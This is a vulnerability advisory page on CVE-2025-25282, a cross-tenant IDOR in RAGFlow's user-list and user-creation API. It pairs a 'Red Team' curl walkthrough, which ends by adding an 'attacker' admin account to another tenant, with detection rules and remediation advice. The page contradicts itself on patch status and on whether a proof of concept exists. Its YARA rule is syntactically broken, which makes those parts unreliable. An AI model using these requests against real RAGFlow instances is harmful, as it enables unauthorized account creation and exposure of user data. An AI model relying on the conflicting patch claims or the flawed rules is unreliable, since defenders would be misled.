☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-25282

CVE-2025-25282 Insecure Direct Object Reference in Ragflow
📅 PUBLISHED: 2025-02-21 21:04 UTC 🔄 UPDATED: 2026-09-23 20:16 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.49%
👁️
0.49% probability
12.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25282 is an Insecure Direct Object Reference (IDOR) vulnerability in RAGFlow, an open-source Retrieval-Augmented Generation engine. An authenticated user can manipulate tenant IDs in API requests to gain unauthorized cross-tenant access. This allows listing user accounts from other tenants and adding user accounts to other tenants, leading to privilege escalation and data exposure. The vulnerability is unpatched, and no public exploit code is available. The CVSS score is 8.1 (High), with a low attack complexity and no user interaction required.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RAGFlow is a Python-based project distributed via PyPI and Docker. The IDOR vulnerability affects the core API logic, not a specific package dependency. However, supply chain risks include:

  • Dependency Confusion: Attackers could publish malicious packages with similar names to RAGFlow dependencies.
  • Compromised Upstream: If the project maintainers are compromised, a backdoor could be introduced.
  • Unpatched Dependencies: The vulnerability itself is unpatched, but other dependencies may have known CVEs.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires authentication.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Affects only the vulnerable component.
  • Confidentiality (C): High (H) – Full access to tenant user data.
  • Integrity (I): High (H) – Can add users to other tenants.
  • Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows lateral movement and privilege escalation within a multi-tenant RAGFlow deployment.

Deep Dive & Mechanics

The vulnerability lies in the API endpoints /api/v1/<tenant_id>/user/list and /api/v1/<tenant_id>/user. The application fails to validate that the authenticated user belongs to the specified tenant. An attacker can enumerate tenant IDs (e.g., via brute force or by observing patterns) and then:

  1. List Users: Send a GET request to /api/v1/<target_tenant_id>/user/list to retrieve all user accounts in that tenant.
  2. Add User: Send a POST request to /api/v1/<target_tenant_id>/user with a JSON body containing the new user's credentials, adding an account to the target tenant.

The root cause is the lack of authorization checks on the tenant ID parameter. The application should verify that the authenticated user's tenant matches the tenant_id in the URL.

Vulnerable vs. Patched Code

Vulnerable Code (Python/Flask example):

@app.route('/api/v1/<tenant_id>/user/list', methods=['GET'])
@login_required
def list_users(tenant_id):
    users = db.query("SELECT * FROM users WHERE tenant_id = ?", tenant_id)
    return jsonify(users)

Patched Code:

@app.route('/api/v1/<tenant_id>/user/list', methods=['GET'])
@login_required
def list_users(tenant_id):
    current_user_tenant = get_current_user_tenant()
    if current_user_tenant != tenant_id:
        return jsonify({"error": "Forbidden"}), 403
    users = db.query("SELECT * FROM users WHERE tenant_id = ?", tenant_id)
    return jsonify(users)

The patch adds a check to ensure the authenticated user's tenant matches the requested tenant ID.

Exploitation & Lab Setup

Red Team

Prerequisites: Valid credentials for any tenant in the RAGFlow instance.

Step 1: Enumerate Tenant IDs

  • Use a wordlist or brute force to discover tenant IDs (e.g., UUIDs, integers).
  • Example: curl -X GET "http://target.com/api/v1/1/user/list" -H "Authorization: Bearer <token>"

Step 2: List Users from Another Tenant

curl -X GET "http://target.com/api/v1/2/user/list" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json"

Step 3: Add User to Another Tenant

curl -X POST "http://target.com/api/v1/2/user" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "P@ssw0rd", "role": "admin"}'

Expected Output: The attacker gains access to the target tenant's user list and can create a new admin account.

Blue Team

Detection: Monitor for anomalous API requests where the tenant ID in the URL does not match the authenticated user's tenant. Implement logging of all tenant ID changes and user additions.

Prevention: Apply the patch as soon as it becomes available. In the interim, implement a Web Application Firewall (WAF) rule to block requests where the tenant ID in the URL does not match the user's session.

Honeypot: Create a fake tenant with a known ID and monitor for unauthorized access attempts.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /api/v1/<tenant_id>/user/list or /api/v1/<tenant_id>/user with a tenant ID different from the authenticated user's tenant.
  • Logs: Multiple failed authorization attempts (403 errors) followed by successful user creation in a different tenant.
  • User Accounts: Unexpected user accounts in tenants, especially with admin roles.
  • File System: No specific file IOCs; the vulnerability is API-based.

Detection Engineering

YARA Rule

rule CVE_2025_25282_IDOR_RAGFlow {
    meta:
        description = "Detects IDOR exploitation attempts in RAGFlow API logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25282"
    strings:
        $api_list = "/api/v1/" ascii wide
        $api_add = "/api/v1/" ascii wide
        $user_list = "/user/list" ascii wide
        $user_add = "/user" ascii wide
        $http_method = "GET" ascii wide or "POST" ascii wide
    condition:
        ($api_list or $api_add) and ($user_list or $user_add) and $http_method
}

Sigma Rule

title: CVE-2025-25282 IDOR Exploitation in RAGFlow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit IDOR vulnerability in RAGFlow by accessing user endpoints with mismatched tenant IDs.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25282
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
        cs-uri-stem:
            - '/api/v1/*/user/list'
            - '/api/v1/*/user'
    condition: selection
falsepositives:
    - Legitimate multi-tenant admin operations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25282 RAGFlow IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"/api/v1/"; http_uri;
    content:"/user/list"; http_uri; distance:0;
    content:"/user"; http_uri; distance:0;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Tenants: Use network segmentation or separate RAGFlow instances for each tenant.
  2. WAF Rules: Block requests where the tenant ID in the URL does not match the authenticated user's tenant.
  3. Monitor Logs: Enable detailed logging for all API requests and alert on anomalies.

Long-Term Fix:

  • Apply the official patch from the RAGFlow maintainers once released.
  • Implement proper authorization checks in the API layer (e.g., using Flask decorators or middleware).
  • Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.

Workaround:

  • Modify the source code to add tenant validation (as shown in the patched code section) and redeploy.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25282/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.